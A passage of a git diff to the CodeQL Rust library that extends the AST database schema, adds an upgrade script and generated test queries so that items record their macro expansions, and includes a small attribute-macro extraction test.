@return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties new file mode 100644 index 000000000000..5834a727f49c --- /dev/null +++ b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties @@ -0,0 +1,4 @@ +description: Add `expanded` to all `@item` elements +compatibility: backwards +item_expandeds.rel: reorder macro_call_expandeds.rel (@macro_call id, @ast_node expanded) id expanded +macro_call_expandeds.rel: delete diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/attr_macro_expansion.rs b/rust/ql/test/extractor-tests/attribute_macro_expansion/attr_macro_expansion.rs new file mode 100644 index 000000000000..8ccaa6276c6a --- /dev/null +++ b/rust/ql/test/extractor-tests/attribute_macro_expansion/attr_macro_expansion.rs @@ -0,0 +1,2 @@ +#[ctor::ctor] +fn foo() {} diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/options.yml b/rust/ql/test/extractor-tests/attribute_macro_expansion/options.yml new file mode 100644 index 000000000000..07ec8d1b4eb3 --- /dev/null +++ b/rust/ql/test/extractor-tests/attribute_macro_expansion/options.yml @@ -0,0 +1,2 @@ +qltest_dependencies: + - ctor = { version = "0.2.9" } diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected b/rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected new file mode 100644 index 000000000000..c6815fb38287 --- /dev/null +++ b/rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected @@ -0,0 +1,2 @@ +| attr_macro_expansion.rs:1:1:2:11 | fn foo | attr_macro_expansion.rs:2:4:2:6 | Static | +| attr_macro_expansion.rs:1:1:2:11 | fn foo | attr_macro_expansion.rs:2:4:2:10 | fn foo | diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql b/rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql new file mode 100644 index 000000000000..f8d2f17b75e0 --- /dev/null +++ b/rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql @@ -0,0 +1,6 @@ +import rust +import TestUtils + +from Item i, MacroItems items, Item expanded +where toBeTested(i) and i.getExpanded() = items and items.getAnItem() = expanded +select i, expanded diff --git a/rust/ql/test/extractor-tests/generated/Const/Const.ql b/rust/ql/test/extractor-tests/generated/Const/Const.ql index f1509aac3689..859bc139866f 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const.ql +++ b/rust/ql/test/extractor-tests/generated/Const/Const.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Const x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasBody, string isConst, string isDefault, string hasName, string hasTypeRepr, - string hasVisibility + Const x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasBody, string isConst, string isDefault, string hasName, + string hasTypeRepr, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.isConst() then isConst = "yes" else isConst = "no") and @@ -23,5 +24,6 @@ where (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "isConst:", isConst, "isDefault:", - isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, + "isConst:", isConst, "isDefault:", isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, + "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.ql new file mode 100644 index 000000000000..8f608b857bc9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Const x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum.ql b/rust/ql/test/extractor-tests/generated/Enum/Enum.ql index 3468056c072b..76f3c2941b0d 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum.ql +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Enum x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string hasName, string hasVariantList, string hasVisibility, - string hasWhereClause + Enum x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasGenericParamList, string hasName, string hasVariantList, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -22,6 +23,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "hasName:", - hasName, "hasVariantList:", hasVariantList, "hasVisibility:", hasVisibility, "hasWhereClause:", - hasWhereClause + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", + hasGenericParamList, "hasName:", hasName, "hasVariantList:", hasVariantList, "hasVisibility:", + hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.ql new file mode 100644 index 000000000000..428223feaae5 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Enum x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql index 3d58a4714123..b1fa57580a12 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - ExternBlock x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAbi, - int getNumberOfAttrs, string hasExternItemList, string isUnsafe + ExternBlock x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + string hasAbi, int getNumberOfAttrs, string hasExternItemList, string isUnsafe where toBeTested(x) and not x.isUnknown() and @@ -14,10 +14,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and (if x.hasAbi() then hasAbi = "yes" else hasAbi = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasExternItemList() then hasExternItemList = "yes" else hasExternItemList = "no") and if x.isUnsafe() then isUnsafe = "yes" else isUnsafe = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAbi:", hasAbi, "getNumberOfAttrs:", getNumberOfAttrs, "hasExternItemList:", hasExternItemList, - "isUnsafe:", isUnsafe + "hasExpanded:", hasExpanded, "hasAbi:", hasAbi, "getNumberOfAttrs:", getNumberOfAttrs, + "hasExternItemList:", hasExternItemList, "isUnsafe:", isUnsafe diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql new file mode 100644 index 000000000000..e7819652b38a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ExternBlock x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql index c8250d86b4b0..03ef38925eab 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasIdentifier, string hasRename, string hasVisibility + ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasIdentifier, string hasRename, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,10 +14,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and (if x.hasRename() then hasRename = "yes" else hasRename = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", hasIdentifier, "hasRename:", hasRename, - "hasVisibility:", hasVisibility + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", + hasIdentifier, "hasRename:", hasRename, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql new file mode 100644 index 000000000000..28cdb0138d97 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ExternCrate x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.ql b/rust/ql/test/extractor-tests/generated/Function/Function.ql index a6e969111fb9..162f8af6d753 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.ql +++ b/rust/ql/test/extractor-tests/generated/Function/Function.ql @@ -4,9 +4,9 @@ import TestUtils from Function x, string hasParamList, int getNumberOfAttrs, string hasExtendedCanonicalPath, - string hasCrateOrigin, string hasAbi, string hasBody, string hasGenericParamList, string isAsync, - string isConst, string isDefault, string isGen, string isUnsafe, string hasName, - string hasRetType, string hasVisibility, string hasWhereClause + string hasCrateOrigin, string hasExpanded, string hasAbi, string hasBody, + string hasGenericParamList, string isAsync, string isConst, string isDefault, string isGen, + string isUnsafe, string hasName, string hasRetType, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -18,6 +18,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and (if x.hasAbi() then hasAbi = "yes" else hasAbi = "no") and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -32,7 +33,7 @@ where if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAbi:", hasAbi, "hasBody:", hasBody, "hasGenericParamList:", hasGenericParamList, "isAsync:", - isAsync, "isConst:", isConst, "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, - "hasName:", hasName, "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasExpanded:", hasExpanded, "hasAbi:", hasAbi, "hasBody:", hasBody, "hasGenericParamList:", + hasGenericParamList, "isAsync:", isAsync, "isConst:", isConst, "isDefault:", isDefault, "isGen:", + isGen, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasRetType:", hasRetType, "hasVisibility:", + hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.ql new file mode 100644 index 000000000000..7a994831e7db --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit 